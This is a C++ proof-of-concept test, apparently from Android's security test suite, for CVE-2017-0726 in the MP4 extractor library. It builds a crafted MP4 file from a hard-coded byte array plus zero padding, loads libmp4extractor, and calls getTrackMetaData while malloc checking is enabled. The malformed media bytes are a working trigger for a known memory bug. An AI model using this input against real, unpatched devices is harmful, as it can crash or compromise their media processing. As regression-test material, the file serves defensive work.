1 /**
2  * Copyright (C) 2020 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include "../includes/common.h"
18 #include "stdlib.h"
19 
20 #include "../includes/memutils_track.h"
21 #include <android/IMediaExtractor.h>
22 #include <datasource/DataSourceFactory.h>
23 #include <dlfcn.h>
24 #include <media/DataSource.h>
25 #include <media/IMediaHTTPService.h>
26 #include <media/stagefright/DataSourceBase.h>
27 #include <media/stagefright/MediaExtractor.h>
28 #include <media/stagefright/MetaData.h>
29 
30 unsigned char mp4_data[] = {
31     0x00, 0x00, 0x00, 0x1C, 0x66, 0x74, 0x79, 0x70, 0x6D, 0x70, 0x34, 0x32,
32     0x00, 0x00, 0x00, 0x00, 0x6D, 0x70, 0x34, 0x32, 0x64, 0x62, 0x79, 0x31,
33     0x69, 0x73, 0x6F, 0x6D, 0x00, 0x00, 0x00, 0x74, 0x6D, 0x6F, 0x6F, 0x76,
34     0x00, 0x00, 0x00, 0x6C, 0x75, 0x64, 0x74, 0x61, 0x00, 0x00, 0x00, 0x64,
35     0x6D, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58,
36     0x69, 0x6C, 0x73, 0x74, 0x00, 0x00, 0x00, 0x50, 0x2D, 0x2D, 0x2D, 0x2D,
37     0x00, 0x00, 0x00, 0x1C, 0x6D, 0x65, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00,
38     0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x69, 0x54,
39     0x75, 0x6E, 0x65, 0x73, 0x00, 0x00, 0x00, 0x14, 0x6E, 0x61, 0x6D, 0x65,
40     0x00, 0x00, 0x00, 0x00, 0x69, 0x54, 0x75, 0x6E, 0x53, 0x4D, 0x50, 0x42,
41     0x00, 0x08, 0x00, 0x18, 0x64, 0x61, 0x74, 0x61, 0x33, 0x32, 0x20, 0x34,
42     0x20, 0x33, 0x20, 0x32, 0x33, 0x32, 0x20, 0x34, 0x20, 0x33, 0x20, 0x32};
43 
44 #if _32_BIT
45 #define LIBNAME "/system/lib/extractors/libmp4extractor.so"
46 #define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmp4extractor.so"
47 #elif _64_BIT
48 #define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
49 #define LIBNAME_APEX                                                           \
50   "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
51 #endif
52 
53 #define TOTAL_SIZE 524432
54 #define DATA_SIZE 144
55 #define TRACK_SIZE (TOTAL_SIZE - DATA_SIZE + 16 + 1)
56 #define TMP_FILE "/data/local/tmp/temp_cve_2017_0726"
57 
58 char enable_selective_overload = ENABLE_NONE;
59 using namespace android;
60 
is_tracking_required(size_t size)61 bool is_tracking_required(size_t size) { return (size == TRACK_SIZE); }
62 
main()63 int main() {
64   GetExtractorDef getDef = nullptr;
65   FILE *fp = fopen(TMP_FILE, "wb");
66   if (!fp) {
67     return EXIT_FAILURE;
68   }
69 
70   char zero_array[TOTAL_SIZE - DATA_SIZE];
71   memset(zero_array, 0, (TOTAL_SIZE - DATA_SIZE) * sizeof(char));
72 
73   /* Write mp4 stream */
74   fwrite(mp4_data, 1, DATA_SIZE, fp);
75 
76   /* Append 0's to create custom PoC */
77   fwrite(zero_array, 1, (TOTAL_SIZE - DATA_SIZE), fp);
78   fclose(fp);
79 
80   void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
81   if (!libHandle) {
82     libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
83     if (!libHandle) {
84       remove(TMP_FILE);
85       return EXIT_FAILURE;
86     }
87   }
88 
89   getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
90   if (!getDef) {
91     dlclose(libHandle);
92     remove(TMP_FILE);
93     return EXIT_FAILURE;
94   }
95 
96   sp<DataSource> dataSource =
97       DataSourceFactory::getInstance()->CreateFromURI(NULL, TMP_FILE);
98   if (dataSource == nullptr) {
99     dlclose(libHandle);
100     remove(TMP_FILE);
101     return EXIT_FAILURE;
102   }
103 
104   void *meta = nullptr;
105   void *creator = nullptr;
106   FreeMetaFunc freeMeta = nullptr;
107   float confidence;
108   if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
109     creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
110                                           &meta, &freeMeta);
111   } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
112     creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
113                                           &meta, &freeMeta);
114   }
115   if (!creator) {
116     dlclose(libHandle);
117     remove(TMP_FILE);
118     return EXIT_FAILURE;
119   }
120 
121   CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
122   if (ret == nullptr) {
123     dlclose(libHandle);
124     remove(TMP_FILE);
125     return EXIT_FAILURE;
126   }
127 
128   if (meta != nullptr && freeMeta != nullptr) {
129     freeMeta(meta);
130   }
131 
132   sp<MetaData> metaData = new MetaData();
133   MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
134       new MediaExtractorCUnwrapper(ret);
135   enable_selective_overload = ENABLE_MALLOC_CHECK;
136   mediaExtractorCUnwrapper->getTrackMetaData(*metaData.get(), 0, 1);
137   enable_selective_overload = ENABLE_NONE;
138 
139   remove(TMP_FILE);
140   dlclose(libHandle);
141 
142   return EXIT_SUCCESS;
143 }
144